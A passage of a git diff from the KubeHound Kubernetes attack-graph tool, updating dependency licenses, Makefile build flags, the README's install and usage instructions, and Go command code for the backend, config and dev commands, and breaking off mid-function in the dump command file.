+golang.org/x/sys,https://cs.opensource.google/go/x/sys/+/v0.30.0:LICENSE,BSD-3-Clause,Google +golang.org/x/term,https://cs.opensource.google/go/x/term/+/v0.29.0:LICENSE,BSD-3-Clause,Google +golang.org/x/text,https://cs.opensource.google/go/x/text/+/v0.22.0:LICENSE,BSD-3-Clause,Google +golang.org/x/time/rate,https://cs.opensource.google/go/x/time/+/v0.8.0:LICENSE,BSD-3-Clause,Google +golang.org/x/xerrors,https://cs.opensource.google/go/x/xerrors/+/93cc26a9:LICENSE,BSD-3-Clause,Google +gomodules.xyz/jsonpatch/v2,https://github.com/gomodules/jsonpatch/blob/v2.4.0/v2/LICENSE,Apache-2.0,Go Modules +google.golang.org/api,https://github.com/googleapis/google-api-go-client/blob/v0.215.0/LICENSE,BSD-3-Clause,Google APIs +google.golang.org/api/internal/third_party/uritemplates,https://github.com/googleapis/google-api-go-client/blob/v0.215.0/internal/third_party/uritemplates/LICENSE,BSD-3-Clause,Google APIs +google.golang.org/genproto/googleapis/api,https://github.com/googleapis/go-genproto/blob/e6fa225c2576/googleapis/api/LICENSE,Apache-2.0,Google APIs +google.golang.org/genproto/googleapis/rpc,https://github.com/googleapis/go-genproto/blob/3abc09e42ca8/googleapis/rpc/LICENSE,Apache-2.0,Google APIs +google.golang.org/genproto/googleapis/type,https://github.com/googleapis/go-genproto/blob/e639e219e697/LICENSE,Apache-2.0,Google APIs +google.golang.org/grpc,https://github.com/grpc/grpc-go/blob/v1.70.0/LICENSE,Apache-2.0,grpc +google.golang.org/protobuf,https://github.com/protocolbuffers/protobuf-go/blob/v1.36.1/LICENSE,BSD-3-Clause,Protocol Buffers +gopkg.in/DataDog/dd-trace-go.v1,https://github.com/DataDog/dd-trace-go/blob/v1.72.1/LICENSE,Apache-2.0,Datadog, Inc. +gopkg.in/evanphx/json-patch.v4,https://github.com/evanphx/json-patch/blob/v4.12.0/LICENSE,BSD-3-Clause,Evan Phoenix gopkg.in/inf.v0,https://github.com/go-inf/inf/blob/v0.9.1/LICENSE,BSD-3-Clause,go-inf gopkg.in/ini.v1,https://github.com/go-ini/ini/blob/v1.67.0/LICENSE,Apache-2.0,INI gopkg.in/yaml.v2,https://github.com/go-yaml/yaml/blob/v2.4.0/LICENSE,Apache-2.0,go-yaml gopkg.in/yaml.v3,https://github.com/go-yaml/yaml/blob/v3.0.1/LICENSE,MIT,go-yaml -k8s.io/api,https://github.com/kubernetes/api/blob/v0.27.2/LICENSE,Apache-2.0,Kubernetes -k8s.io/apiextensions-apiserver/pkg/apis/apiextensions,https://github.com/kubernetes/apiextensions-apiserver/blob/v0.27.2/LICENSE,Apache-2.0,Kubernetes -k8s.io/apimachinery/pkg,https://github.com/kubernetes/apimachinery/blob/v0.27.2/LICENSE,Apache-2.0,Kubernetes -k8s.io/apimachinery/third_party/forked/golang,https://github.com/kubernetes/apimachinery/blob/v0.27.2/third_party/forked/golang/LICENSE,BSD-3-Clause,Kubernetes -k8s.io/client-go,https://github.com/kubernetes/client-go/blob/v0.27.2/LICENSE,Apache-2.0,Kubernetes -k8s.io/component-base/config,https://github.com/kubernetes/component-base/blob/v0.27.2/LICENSE,Apache-2.0,Kubernetes -k8s.io/klog/v2,https://github.com/kubernetes/klog/blob/v2.90.1/LICENSE,Apache-2.0,Kubernetes -k8s.io/kube-openapi/pkg,https://github.com/kubernetes/kube-openapi/blob/8b0f38b5fd1f/LICENSE,Apache-2.0,Kubernetes -k8s.io/kube-openapi/pkg/internal/third_party/go-json-experiment/json,https://github.com/kubernetes/kube-openapi/blob/8b0f38b5fd1f/pkg/internal/third_party/go-json-experiment/json/LICENSE,BSD-3-Clause,Kubernetes -k8s.io/kube-openapi/pkg/validation/spec,https://github.com/kubernetes/kube-openapi/blob/8b0f38b5fd1f/pkg/validation/spec/LICENSE,Apache-2.0,Kubernetes -k8s.io/utils,https://github.com/kubernetes/utils/blob/a36077c30491/LICENSE,Apache-2.0,Kubernetes -k8s.io/utils/internal/third_party/forked/golang/net,https://github.com/kubernetes/utils/blob/a36077c30491/internal/third_party/forked/golang/LICENSE,BSD-3-Clause,Kubernetes -sigs.k8s.io/controller-runtime,https://github.com/kubernetes-sigs/controller-runtime/blob/v0.15.0/LICENSE,Apache-2.0,Kubernetes SIGs -sigs.k8s.io/json,https://github.com/kubernetes-sigs/json/blob/bc3834ca7abd/LICENSE,Apache-2.0,Kubernetes SIGs -sigs.k8s.io/structured-merge-diff/v4,https://github.com/kubernetes-sigs/structured-merge-diff/blob/v4.2.3/LICENSE,Apache-2.0,Kubernetes SIGs -sigs.k8s.io/yaml,https://github.com/kubernetes-sigs/yaml/blob/v1.3.0/LICENSE,MIT,Kubernetes SIGs +k8s.io/api,https://github.com/kubernetes/api/blob/v0.32.2/LICENSE,Apache-2.0,Kubernetes +k8s.io/apiextensions-apiserver/pkg/apis/apiextensions,https://github.com/kubernetes/apiextensions-apiserver/blob/v0.32.1/LICENSE,Apache-2.0,Kubernetes +k8s.io/apimachinery/pkg,https://github.com/kubernetes/apimachinery/blob/v0.32.2/LICENSE,Apache-2.0,Kubernetes +k8s.io/apimachinery/third_party/forked/golang,https://github.com/kubernetes/apimachinery/blob/v0.32.2/third_party/forked/golang/LICENSE,BSD-3-Clause,Kubernetes +k8s.io/client-go,https://github.com/kubernetes/client-go/blob/v0.32.2/LICENSE,Apache-2.0,Kubernetes +k8s.io/klog/v2,https://github.com/kubernetes/klog/blob/v2.130.1/LICENSE,Apache-2.0,Kubernetes +k8s.io/kube-openapi/pkg,https://github.com/kubernetes/kube-openapi/blob/32ad38e42d3f/LICENSE,Apache-2.0,Kubernetes +k8s.io/kube-openapi/pkg/internal/third_party/go-json-experiment/json,https://github.com/kubernetes/kube-openapi/blob/32ad38e42d3f/pkg/internal/third_party/go-json-experiment/json/LICENSE,BSD-3-Clause,Kubernetes +k8s.io/kube-openapi/pkg/validation/spec,https://github.com/kubernetes/kube-openapi/blob/32ad38e42d3f/pkg/validation/spec/LICENSE,Apache-2.0,Kubernetes +k8s.io/utils,https://github.com/kubernetes/utils/blob/3ea5e8cea738/LICENSE,Apache-2.0,Kubernetes +k8s.io/utils/internal/third_party/forked/golang,https://github.com/kubernetes/utils/blob/3ea5e8cea738/internal/third_party/forked/golang/LICENSE,BSD-3-Clause,Kubernetes +sigs.k8s.io/controller-runtime,https://github.com/kubernetes-sigs/controller-runtime/blob/v0.20.2/LICENSE,Apache-2.0,Kubernetes SIGs +sigs.k8s.io/json,https://github.com/kubernetes-sigs/json/blob/9aa6b5e7a4b3/LICENSE,Apache-2.0,Kubernetes SIGs +sigs.k8s.io/structured-merge-diff/v4,https://github.com/kubernetes-sigs/structured-merge-diff/blob/v4.4.2/LICENSE,Apache-2.0,Kubernetes SIGs +sigs.k8s.io/yaml,https://github.com/kubernetes-sigs/yaml/blob/v1.4.0/LICENSE,Apache-2.0,Kubernetes SIGs +sigs.k8s.io/yaml/goyaml.v2,https://github.com/kubernetes-sigs/yaml/blob/v1.4.0/goyaml.v2/LICENSE,Apache-2.0,Kubernetes SIGs diff --git a/Makefile b/Makefile index 8deef6c14..af502384d 100644 --- a/Makefile +++ b/Makefile @@ -9,11 +9,19 @@ SYSTEM_TEST_CMD := system-test system-test-clean COMMIT := $(shell git rev-parse --short HEAD) DATE := $(shell git log -1 --format=%cd --date=format:"%Y%m%d") -BUILD_VERSION ?= $(shell git describe --match 'v[0-9]*' --dirty='.m' --always --tags) +BUILD_VERSION ?= $(shell git describe --match 'v[0-9]*' --dirty --always --tags) +BUILD_BRANCH ?= $(shell git rev-parse --abbrev-ref HEAD) BUILD_ARCH := $(shell go env GOARCH) BUILD_OS := $(shell go env GOOS) -BUILD_FLAGS := -ldflags="-X github.com/DataDog/KubeHound/pkg/config.BuildVersion=$(BUILD_VERSION) -X github.com/DataDog/KubeHound/pkg/config.BuildArch=$(BUILD_ARCH) -X github.com/DataDog/KubeHound/pkg/config.BuildOs=$(BUILD_OS) -s -w" +BUILD_FLAGS := -ldflags="${GO_BUILDTAGS} -X github.com/DataDog/KubeHound/pkg/config.BuildVersion=$(BUILD_VERSION) -X github.com/DataDog/KubeHound/pkg/config.BuildBranch=$(BUILD_BRANCH) -X github.com/DataDog/KubeHound/pkg/config.BuildArch=$(BUILD_ARCH) -X github.com/DataDog/KubeHound/pkg/config.BuildOs=$(BUILD_OS)" + +# Get the currently used golang install path (in GOPATH/bin, unless GOBIN is set) +ifeq (,$(shell go env GOBIN)) +GOBIN=$(shell go env GOPATH)/bin +else +GOBIN=$(shell go env GOBIN) +endif # Need to save the MAKEFILE_LIST variable before the including the env var files HELP_MAKEFILE_LIST := $(MAKEFILE_LIST) @@ -58,11 +66,11 @@ generate: ## Generate code for the application .PHONY: build build: ## Build the application - go build $(BUILD_FLAGS) -o "$(or $(DESTDIR),./bin/build)/kubehound$(BINARY_EXT)" ./cmd/kubehound/ + go build $(BUILD_FLAGS) -o "$(or $(DESTDIR),./bin/build)/kubehound$(BINARY_EXT)" -tags no_backend ./cmd/kubehound/ .PHONY: binary binary: - $(BUILDX_CMD) bake binary-with-coverage + $(BUILDX_CMD) bake binary .PHONY: lint lint: @@ -78,10 +86,10 @@ cache-clear: ## Clear the builder cache .PHONY: kubehound kubehound: | build ## Prepare kubehound (build go binary, deploy backend) - ./bin/kubehound + ./bin/build/kubehound .PHONY: test -test: ## Run the full suite of unit tests +test: ## Run the full suite of unit tests cd pkg && go test -count=1 -race $(BUILD_FLAGS) ./... .PHONY: system-test @@ -113,7 +121,7 @@ local-cluster-destroy: ## Destroy the local kind cluster .PHONY: sample-graph sample-graph: | local-cluster-deploy build ## Create the kind cluster, start the backend, run the application, delete the cluster - cd test/system && export KUBECONFIG=$(ROOT_DIR)/test/setup/${KIND_KUBECONFIG} && $(ROOT_DIR)/bin/kubehound + cd test/system && export KUBECONFIG=$(ROOT_DIR)/test/setup/${KIND_KUBECONFIG} && $(ROOT_DIR)/bin/build/kubehound bash test/setup/manage-cluster.sh destroy .PHONY: help @@ -122,17 +130,12 @@ help: ## Show this help .PHONY: thirdparty-licenses thirdparty-licenses: ## Generate the list of 3rd party dependencies and write to LICENSE-3rdparty.csv - go get github.com/google/go-licenses - go install github.com/google/go-licenses - $(GOPATH)/bin/go-licenses csv github.com/DataDog/KubeHound/cmd/kubehound | sort > $(ROOT_DIR)/LICENSE-3rdparty.csv.raw + go install github.com/google/go-licenses@latest + $(GOBIN)/go-licenses csv github.com/DataDog/KubeHound/cmd/kubehound | sort > $(ROOT_DIR)/LICENSE-3rdparty.csv.raw python scripts/enrich-third-party-licences.py $(ROOT_DIR)/LICENSE-3rdparty.csv.raw > $(ROOT_DIR)/LICENSE-3rdparty.csv rm -f LICENSE-3rdparty.csv.raw .PHONY: local-wiki local-wiki: ## Generate and serve the mkdocs wiki on localhost - poetry install || pip install mkdocs-material mkdocs-awesome-pages-plugin markdown-captions - poetry run mkdocs serve || mksdocs serve - -.PHONY: local-release -local-release: ## Generate release packages locally via goreleaser - goreleaser release --snapshot --clean --config .goreleaser.yaml + poetry install --no-root || pip install mkdocs-material mkdocs-awesome-pages-plugin markdown-captions + poetry run mkdocs serve || mkdocs serve diff --git a/README.md b/README.md index 2d1baa63f..0f0f9963d 100644 --- a/README.md +++ b/README.md @@ -1,197 +1,115 @@ -# KubeHound +# KubeHound

KubeHound

-A Kubernetes attack graph tool allowing automated calculation of attack paths between assets in a cluster +A Kubernetes attack graph tool allowing automated calculation of attack paths between assets in a cluster. -## Quick Links - -+ For an overview of the application architecture see the [design canvas](./docs/Architecture.excalidraw) -+ To see the attacks covered see the [edge definitions](./docs/reference/attacks) -+ To contribute a new attack to the project follow the [contribution guidelines](./CONTRIBUTING.md) - -## Sample Attack Path - -![Example Path](./docs/images/example-graph.png) +## Quick Start -## Contents - -- [Requirements](#requirements) - - [Application](#application) - - [Test (Development only)](#test-development-only) -- [Quick Start](#quick-start) - - [Prebuilt Releases](#prebuilt-releases) - - [From Source](#from-source) - - [Sample Data](#sample-data) -- [Advanced Usage](#advanced-usage) - - [Infrastructure Setup](#infrastructure-setup) - - [Running Kubehound](#running-kubehound) -- [Using KubeHound Data](#using-kubehound-data) - - [Example queries](#example-queries) - - [Query data from your scripts](#query-data-from-your-scripts) - - [Python](#python) -- [Development](#development) - - [Build](#build) - - [Release build](#release-build) - - [Unit Testing](#unit-testing) - - [System Testing](#system-testing) - - [Environment variable:](#environment-variable) - - [Setup](#setup) - - [CI Testing](#ci-testing) -- [Acknowledgements](#acknowledgements) - -## Requirements - -### Application - -+ Golang `>= 1.20`: https://go.dev/doc/install -+ Docker `>= 19.03`: https://docs.docker.com/engine/install/ -+ Docker Compose `V2`: https://docs.docker.com/compose/compose-file/compose-versioning/ - -### Test (Development only) - -+ Kind: https://kind.sigs.k8s.io/docs/user/quick-start/#installing-with-a-package-manager -+ Kubectl: https://kubernetes.io/docs/tasks/tools/ +### Requirements -## Quick Start +To run KubeHound, you need a couple dependencies ++ [Docker](https://docs.docker.com/engine/install/) `>= 19.03` ++ [Docker Compose](https://docs.docker.com/compose/compose-file/compose-versioning/) `V2` -### Prebuilt Releases +### Install -Release binaries are available for Linux / Windows / Mac OS via the [releases](https://github.com/DataDog/KubeHound/releases) page. These provide access to core KubeHound functionality but lack support for the `make` commands detailed in subsequent sections. Once the release archive is downloaded and extracted start the backend via: +#### From Release +Download binaries are available for Linux / Windows / Mac OS via the [releases](https://github.com/DataDog/KubeHound/releases) page or by running the following (Mac OS/Linux): ```bash -./kubehound.sh backend-up +wget https://github.com/DataDog/KubeHound/releases/latest/download/kubehound-$(uname -o | sed 's/GNU\///g')-$(uname -m) -O kubehound +chmod +x kubehound ``` -*NOTE*: -+ If downloading the releases via a browser you must run e.g `xattr -d com.apple.quarantine KubeHound_Darwin_arm64.tar.gz` before running to prevent [MacOS blocking execution](https://support.apple.com/en-gb/guide/mac-help/mchleab3a043/mac) +
+MacOS Notes -Next choose a target Kubernetes cluster, either: +If downloading the releases via a browser you must run e.g `xattr -d com.apple.quarantine kubehound` before running to prevent [MacOS blocking execution](https://support.apple.com/en-gb/guide/mac-help/mchleab3a043/mac) -* Select the targeted cluster via `kubectx` (need to be installed separately) -* Use a specific kubeconfig file by exporting the env variable: `export KUBECONFIG=/your/path/to/.kube/config` +
-Finally run the compiled binary with packaged configuration (`config.yaml`): +#### With homebrew +KubeHound is available in homebrew-core and you can simply run ```bash -./kubehound.sh run +brew update && brew install kubehound ``` -### From Source +`kubehound` should now be in your path. -Clone this repository via git: +#### From source +If you wish to build KubeHound from source, you will need to checkout a tag before building ```bash git clone https://github.com/DataDog/KubeHound.git -``` - -KubeHound ships with a sensible default configuration designed to get new users up and running quickly. The first step is to prepare the application: - -```bash cd KubeHound -make kubehound +git checkout $(git describe --tags --abbrev=0) +make build ``` -This will do the following: -* Start the backend services via docker compose (wiping any existing data) -* Compile the kubehound binary from source +KubeHound binary will be output to `./bin/build/kubehound`. -Next choose a target Kubernetes cluster, either: +### Run -* Select the targeted cluster via `kubectx` (need to be installed separately) -* Use a specific kubeconfig file by exporting the env variable: `export KUBECONFIG=/your/path/to/.kube/config` - -Finally run the compiled binary with default configuration: +Select a target Kubernetes cluster, either: +* Using [kubectx](https://github.com/ahmetb/kubectx) +* Using specific kubeconfig file by exporting the env variable: `export KUBECONFIG=/your/path/to/.kube/config` +Then, simply run the `kubehound` binary: ```bash -bin/kubehound -``` +# If you installed it from brew, it is in your path +kubehound -To view the generated graph see the [Using KubeHound Data](#using-kubehound-data) section. - -### Sample Data +# If you installed it from release, it should be were you downloaded it +./kubehound -To view a sample graph demonstrating attacks in a very, very vulnerable cluster you can generate data via running the app against the provided kind cluster: - -```bash -make sample-graph +# If you installed it from source, it should be in the /bin/build folder +./bin/build/kubehound ``` -To view the generated graph see the [Using KubeHound Data](#using-kubehound-data) section. - -## Advanced Usage +For more advanced use case and configuration, see -### Infrastructure Setup +* [advanced configuration](https://kubehound.io/user-guide/advanced-configuration/): all the settings available through the configuration file. +* [common operations](https://kubehound.io/user-guide/common-operations/): the commands available from the KubeHound binary (`dump` / `ingest`). +* [common errors](https://kubehound.io/user-guide/troubleshooting/): troubleshooting guide. -First create and populate a .env file with the required variables: - -```bash -cp deployments/kubehound/.env.tpl deployments/kubehound/.env -``` +> Note: + KubeHound can be deployed as a serivce (KHaaS), [for more information](https://kubehound.io/khaas/getting-started/). -Edit the variables (datadog env `DD_*` related and `KUBEHOUND_ENV`): - -* `KUBEHOUND_ENV`: `dev` or `release` -* `DD_API_KEY`: api key you created from https://app.datadoghq.com/ website - -Note: -* `KUBEHOUND_ENV=dev` will build the images locally -* `KUBEHOUND_ENV=release` will use prebuilt images from ghcr.io - -### Running Kubehound - -To replicate the automated command and run KubeHound step-by-step. First build the application: - -```bash -make build -``` +## Using KubeHound Data -Next spawn the backend infrastructure +To query the KubeHound graph data requires using the [Gremlin](https://tinkerpop.apache.org/gremlin.html) query language via an API call or dedicated graph query UI. A number of fully featured graph query UIs are available (both commercial and open source), but we provide an accompanying Jupyter notebook based on the [AWS Graph Notebook](https://github.com/aws/graph-notebook),to quickly showcase the capabilities of KubeHound. To access the UI: -```bash -make backend-up -``` ++ Visit [http://localhost:8888/notebooks/KubeHound.ipynb](http://localhost:8888/notebooks/KubeHound.ipynb) in your browser ++ Use the default password `admin` to login (note: this can be changed via the [Dockerfile](./deployments/kubehound/notebook/Dockerfile) or by setting the `NOTEBOOK_PASSWORD` environment variable in the [.env](./deployments/kubehound/.env.tpl) file) ++ Follow the initial setup instructions in the notebook to connect to the KubeHound graph and configure the rendering ++ Start running the queries and exploring the graph! -Next create a configuration file: +### Example queries -```yaml -collector: - type: live-k8s-api-collector -telemetry: - enabled: true -``` +We have documented a few sample queries to execute on the database in [our documentation](https://kubehound.io/queries/gremlin/). A specific DSL has been developped to query the Graph for the most basic use cases ([KubeHound DSL](https://kubehound.io/queries/dsl/)). -A tailored sample configuration file can be found [here](./configs/etc/kubehound.yaml), a full configuration reference containing all possible parameters [here](./configs/etc/kubehound-reference.yaml). +## Sample Attack Path -Finally run the KubeHound binary, passing in the desired configuration: +![Example Path](./docs/images/example-graph.png) -```bash -bin/kubehound -c -``` +### Sample Data -Remember the targeted cluster must be set via `kubectx` or setting the `KUBECONFIG` environment variable. Additional functionality for managing the application can be found via: +To view a sample graph demonstrating attacks in a very, very vulnerable cluster you can generate data via running the app against the provided kind cluster: ```bash -make help +make sample-graph ``` -## Using KubeHound Data - -To query the KubeHound graph data requires using the [Gremlin](https://tinkerpop.apache.org/gremlin.html) query language via an API call or dedicated graph query UI. A number of fully featured graph query UIs are available (both commercial and open source), but we provide an accompanying Jupyter notebook based on the [AWS Graph Notebook](https://github.com/aws/graph-notebook),to quickly showcase the capabilities of Kubehound. To access the UI: - -+ Visit [http://localhost:8888/notebooks/KubeHound.ipynb](http://localhost:8888/notebooks/KubeHound.ipynb) in your browser -+ Use the default password `admin` to login (note: this can be changed via the [Dockerfile](./deployments/kubehound/notebook/Dockerfile) or by setting the `NOTEBOOK_PASSWORD` environment variable in the [.env](./deployments/kubehound/.env.tpl) file) -+ Follow the initial setup instructions in the notebook to connect to the Kubehound graph and configure the rendering -+ Start running the queries and exploring the graph! - -### Example queries +To view the generated graph see the [Using KubeHound Data](#using-kubehound-data) section. -We have documented a few sample queries to execute on the database in [our documentation](https://kubehound.io/queries/gremlin/). +## Query data from your scripts -### Query data from your scripts +If you expose the graph endpoint you can automate some queries to gather some KPI and metadata for instance. -#### Python +### Python You can query the database data in your python script by using the following snippet: @@ -207,87 +125,11 @@ results = c.submit(KH_QUERY).all().result() You'll need to install `gremlinpython` as a dependency via: `pip install gremlinpython` -## Development - -### Build - -Build the application via: - -```bash -make build -``` - -All binaries will be output to the [bin](./bin/) folder - -### Release build - -Build the release packages locally using [goreleaser](https://goreleaser.com/install): - -```bash -make local-release -``` - -### Unit Testing - -The full suite of unit tests can be run locally via: - -```bash -make test -``` - -### System Testing - -The repository includes a suite of system tests that will do the following: -+ create a local kubernetes cluster -+ collect kubernetes API data from the cluster -+ run KubeHound using the file collector to create a working graph database -+ query the graph database to ensure all expected vertices and edges have been created correctly - -The cluster setup and running instances can be found under [test/setup](./test/setup/) - -If you need to manually access the system test environment with kubectl and other commands, you'll need to set (assuming you are at the root dir): - -```bash -cd test/setup/ && export KUBECONFIG=$(pwd)/.kube-config -``` - -#### Environment variable: -- `DD_API_KEY` (optional): set to the datadog API key used to submit metrics and other observability data. - -#### Setup - -Setup the test kind cluster (you only need to do this once!) via: - -```bash -make local-cluster-deploy -``` - -Then run the system tests via: - -```bash -make system-test -``` - -To cleanup the environment you can destroy the cluster via: - -```bash -make local-cluster-destroy -``` - -To list all the available commands, run: - -```bash -make help -``` - -Note: if you are running on Linux but you dont want to run `sudo` for `kind` and `docker` command, you can overwrite this behavior by editing the following var in `test/setup/.config`: -* `DOCKER_CMD="docker"` for docker command -* `KIND_CMD="kind"` for kind command - -#### CI Testing - -System tests will be run in CI via the [system-test](./.github/workflows/system-test.yml) github action +## Further information ++ For an overview of the application architecture see the [design canvas](./docs/Architecture.excalidraw) ++ To see the attacks covered see the [edge definitions](./docs/reference/attacks) ++ To contribute a new attack to the project follow the [contribution guidelines](./CONTRIBUTING.md) ## Acknowledgements diff --git a/cmd/kubehound/backend.go b/cmd/kubehound/backend.go index c68f4c4b8..b4412af8e 100644 --- a/cmd/kubehound/backend.go +++ b/cmd/kubehound/backend.go @@ -1,17 +1,19 @@ +//go:build no_backend + package main import ( - docker "github.com/DataDog/KubeHound/pkg/backend" + "github.com/DataDog/KubeHound/pkg/backend" "github.com/spf13/cobra" ) var ( - Backend *docker.Backend + Backend *backend.Backend hard bool composePath []string - downTesting bool - uiTesting bool + uiProfile = backend.DefaultUIProfile + uiInvana bool ) var ( @@ -20,7 +22,11 @@ var ( Short: "Handle the kubehound stack", Long: `Handle the kubehound stack - docker compose based stack for kubehound services (mongodb, graphdb and UI)`, PersistentPreRunE: func(cobraCmd *cobra.Command, args []string) error { - return docker.NewBackend(cobraCmd.Context(), composePath) + if uiInvana { + uiProfile = append(uiProfile, "invana") + } + + return backend.NewBackend(cobraCmd.Context(), composePath, uiProfile) }, } @@ -29,7 +35,7 @@ var ( Short: "Spawn the kubehound stack", Long: `Spawn the kubehound stack`, RunE: func(cobraCmd *cobra.Command, args []string) error { - return docker.Up(cobraCmd.Context()) + return backend.Up(cobraCmd.Context()) }, } @@ -38,7 +44,7 @@ var ( Short: "Wipe the persisted backend data", Long: `Wipe the persisted backend data`, RunE: func(cobraCmd *cobra.Command, args []string) error { - return docker.Wipe(cobraCmd.Context()) + return backend.Wipe(cobraCmd.Context()) }, } @@ -47,7 +53,7 @@ var ( Short: "Tear down the kubehound stack", Long: `Tear down the kubehound stack`, RunE: func(cobraCmd *cobra.Command, args []string) error { - return docker.Down(cobraCmd.Context()) + return backend.Down(cobraCmd.Context()) }, } @@ -56,19 +62,19 @@ var ( Short: "Restart the kubehound stack", Long: `Restart the kubehound stack`, RunE: func(cobraCmd *cobra.Command, args []string) error { - err := docker.Down(cobraCmd.Context()) + err := backend.Down(cobraCmd.Context()) if err != nil { return err } if hard { - err = docker.Wipe(cobraCmd.Context()) + err = backend.Wipe(cobraCmd.Context()) if err != nil { return err } } - return docker.Reset(cobraCmd.Context()) + return backend.Reset(cobraCmd.Context()) }, } ) @@ -81,5 +87,6 @@ func init() { backendCmd.AddCommand(backendDownCmd) backendCmd.PersistentFlags().StringSliceVarP(&composePath, "file", "f", composePath, "Compose configuration files") + backendCmd.PersistentFlags().BoolVar(&uiInvana, "invana", false, "Activate Invana front end as KubeHound UI alternative") rootCmd.AddCommand(backendCmd) } diff --git a/cmd/kubehound/config.go b/cmd/kubehound/config.go new file mode 100644 index 000000000..f1ebc1e6a --- /dev/null +++ b/cmd/kubehound/config.go @@ -0,0 +1,66 @@ +package main + +import ( + "fmt" + "os" + + "github.com/DataDog/KubeHound/pkg/cmd" + "github.com/DataDog/KubeHound/pkg/telemetry/log" + "github.com/spf13/cobra" + "gopkg.in/yaml.v2" +) + +var ( + configPath string +) + +var ( + configCmd = &cobra.Command{ + Use: "config", + Short: "Show the current configuration", + Long: `[devOnly] Show the current configuration`, + PreRunE: func(cobraCmd *cobra.Command, args []string) error { + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, true) + }, + RunE: func(cobraCmd *cobra.Command, args []string) error { + // Adding datadog setup + khCfg, err := cmd.GetConfig() + if err != nil { + return fmt.Errorf("get config: %w", err) + } + l := log.Logger(cobraCmd.Context()) + yamlData, err := yaml.Marshal(&khCfg) + + if err != nil { + return fmt.Errorf("marshaling khCfg: %w", err) + } + + if configPath != "" { + f, err := os.Create(configPath) + if err != nil { + return fmt.Errorf("creating file: %w", err) + } + + _, err = f.Write(yamlData) + if err != nil { + return fmt.Errorf("writing to file: %w", err) + } + + l.Info("Configuration saved", log.String("path", configPath)) + + return nil + } + + fmt.Println("---") //nolint:forbidigo + fmt.Println(string(yamlData)) //nolint:forbidigo + + return nil + }, + } +) + +func init() { + configCmd.Flags().StringVar(&configPath, "path", "", "path to dump current KubeHound configuration") + + rootCmd.AddCommand(configCmd) +} diff --git a/cmd/kubehound/dev.go b/cmd/kubehound/dev.go index f873c6b9c..7c5a367b1 100644 --- a/cmd/kubehound/dev.go +++ b/cmd/kubehound/dev.go @@ -1,18 +1,29 @@ +//go:build no_backend + package main import ( "context" "os" - docker "github.com/DataDog/KubeHound/pkg/backend" + "github.com/DataDog/KubeHound/pkg/backend" "github.com/spf13/cobra" ) var ( - DefaultComposeTestingPath = []string{"./deployments/kubehound/docker-compose.yaml", "./deployments/kubehound/docker-compose.testing.yaml"} - DefaultComposeDevPath = []string{"./deployments/kubehound/docker-compose.yaml", "./deployments/kubehound/docker-compose.dev.yaml"} - DefaultComposeDevPathUI = "./deployments/kubehound/docker-compose.ui.yaml" - DefaultDatadogComposePath = "./deployments/kubehound/docker-compose.datadog.yaml" + DefaultComposeTestingPath = []string{"./deployments/kubehound/docker-compose.yaml", "./deployments/kubehound/docker-compose.testing.yaml"} + DefaultComposeDevPath = []string{"./deployments/kubehound/docker-compose.yaml", "./deployments/kubehound/docker-compose.dev.graph.yaml", "./deployments/kubehound/docker-compose.dev.mongo.yaml"} + DefaultComposeDevPathUI = "./deployments/kubehound/docker-compose.dev.ui.yaml" + DefaultComposeDevPathGRPC = "./deployments/kubehound/docker-compose.dev.ingestor.yaml" + DefaultComposeDevPathDatadog = "./deployments/kubehound/docker-compose.dev.datadog.yaml" +) + +var ( + uiTesting bool + grpcTesting bool + noCache bool + downTesting bool + profiles []string ) var ( @@ -21,18 +32,18 @@ var ( Hidden: true, Short: "[devOnly] Spawn the kubehound testing stack", Long: `[devOnly] Spawn the kubehound dev stack for the system-tests (build from dockerfile)`, - PersistentPreRunE: func(cobraCmd *cobra.Command, args []string) error { - return docker.NewBackend(cobraCmd.Context(), composePath) - }, RunE: func(cobraCmd *cobra.Command, args []string) error { - if uiTesting { + if uiTesting || downTesting { DefaultComposeDevPath = append(DefaultComposeDevPath, DefaultComposeDevPathUI) } + if grpcTesting || downTesting { + DefaultComposeDevPath = append(DefaultComposeDevPath, DefaultComposeDevPathGRPC) + } // Adding datadog setup _, ddAPIKeyOk := os.LookupEnv("DD_API_KEY") _, ddAPPKeyOk := os.LookupEnv("DD_API_KEY") if ddAPIKeyOk && ddAPPKeyOk { - DefaultComposeDevPath = append(DefaultComposeDevPath, DefaultDatadogComposePath) + DefaultComposeDevPath = append(DefaultComposeDevPath, DefaultComposeDevPathDatadog) } return runEnv(cobraCmd.Context(), DefaultComposeDevPath) @@ -50,21 +61,27 @@ var ( ) func runEnv(ctx context.Context, composePaths []string) error { - err := docker.NewBackend(ctx, composePaths) + if uiTesting { + profiles = append(profiles, backend.DevUIProfile) + } + + err := backend.NewBackend(ctx, composePaths, profiles) if err != nil { return err } if downTesting { - return docker.Down(ctx) + return backend.Down(ctx) } - return docker.BuildUp(ctx) + return backend.BuildUp(ctx, noCache) } func init() { envCmd.AddCommand(envTestingCmd) envCmd.PersistentFlags().BoolVar(&downTesting, "down", false, "Tearing down the kubehound dev stack and deleting the data associated with it") envCmd.Flags().BoolVar(&uiTesting, "ui", false, "Include the UI in the dev stack") + envCmd.Flags().BoolVar(&grpcTesting, "grpc", false, "Include Grpc Server (ingestor) in the dev stack") + envCmd.Flags().BoolVar(&noCache, "no-cache", false, "Disable the cache when building the images") rootCmd.AddCommand(envCmd) } diff --git a/cmd/kubehound/dumper.go b/cmd/kubehound/dumper.go index 9eb3e8640..cd3632f65 100644 --- a/cmd/kubehound/dumper.go +++ b/cmd/kubehound/dumper.go @@ -12,6 +12,11 @@ import ( "github.com/spf13/viper" ) +var ( + runLocalIngest bool + startBackend bool +) + var ( dumpCmd = &cobra.Command{ Use: "dump", @@ -22,27 +27,27 @@ var ( }, } - cloudCmd = &cobra.Command{ - Use: "cloud", + dumpRemoteCmd = &cobra.Command{ + Use: "remote", Short: "Push collected k8s resources to an s3 bucket of a targeted cluster. Run the ingestion on KHaaS if khaas-server is set.", Long: `Collect all Kubernetes resources needed to build the attack path in an offline format on a s3 bucket. If KubeHound as a Service (KHaaS) is set, then run the ingestion on KHaaS.`, PreRunE: func(cobraCmd *cobra.Command, args []string) error { viper.BindPFlag(config.IngestorAPIEndpoint, cobraCmd.Flags().Lookup("khaas-server")) //nolint: errcheck viper.BindPFlag(config.IngestorAPIInsecure, cobraCmd.Flags().Lookup("insecure")) //nolint: errcheck - return cmd.InitializeKubehoundConfig(cobraCmd.Context(), "", true, true) + return cmd.InitializeKubehoundConfig(cobraCmd.Context(), cfgFile, true, true) }, RunE: func(cobraCmd *cobra.Command, args []string) error 